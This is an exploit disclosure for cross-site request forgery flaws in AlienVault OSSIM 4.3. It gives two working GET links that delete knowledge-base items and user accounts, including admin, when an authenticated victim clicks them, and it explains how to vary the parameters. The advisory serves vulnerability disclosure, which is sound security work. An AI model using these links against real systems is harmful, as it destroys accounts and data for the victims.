Alienvault Open Source SIEM (OSSIM) 4.3 - Cross-Site Request Forgery

# Exploit Title: [AlienVault - ossim CSRF]
# Date: [10-5-2015]
# Exploit Author: [MohamadReza Mohajerani]
# Vendor Homepage: [www.alienvault.com]
# Software Link: [https://www.alienvault.com/products/ossim]
# Version: [Tested on 4.3]

Vulnerability Details:

=====================


Multiple CSRF vectors exists within AlienVault ossim allowing the following
attacks:

1)Delete user accounts(ex.admin account)

2)Delete knowledge DB items

Exploit code(s):

===============

The only thing the attacker needs to do is sending the following link to
the victim via GET request , if the victim authenticated on the ossim and
click on the link the following attacks can be occurred :

1)For deleting the
knowledge DB items just send the link below:
https://ossim-ip/ossim/repository/repository_delete.php?id_document=10232


[id_document is the item number which you want to delete (it starts from 1)]

2)For deleting the user accounts (ex.admin account) use the link below :
https://ossim-ip/ossim/session/deleteuser.php?user=admin&_=1444042812845

[the random number (1444042812845) is not important at all and you can
change the number to whatever you want]



Severity Level:

================
High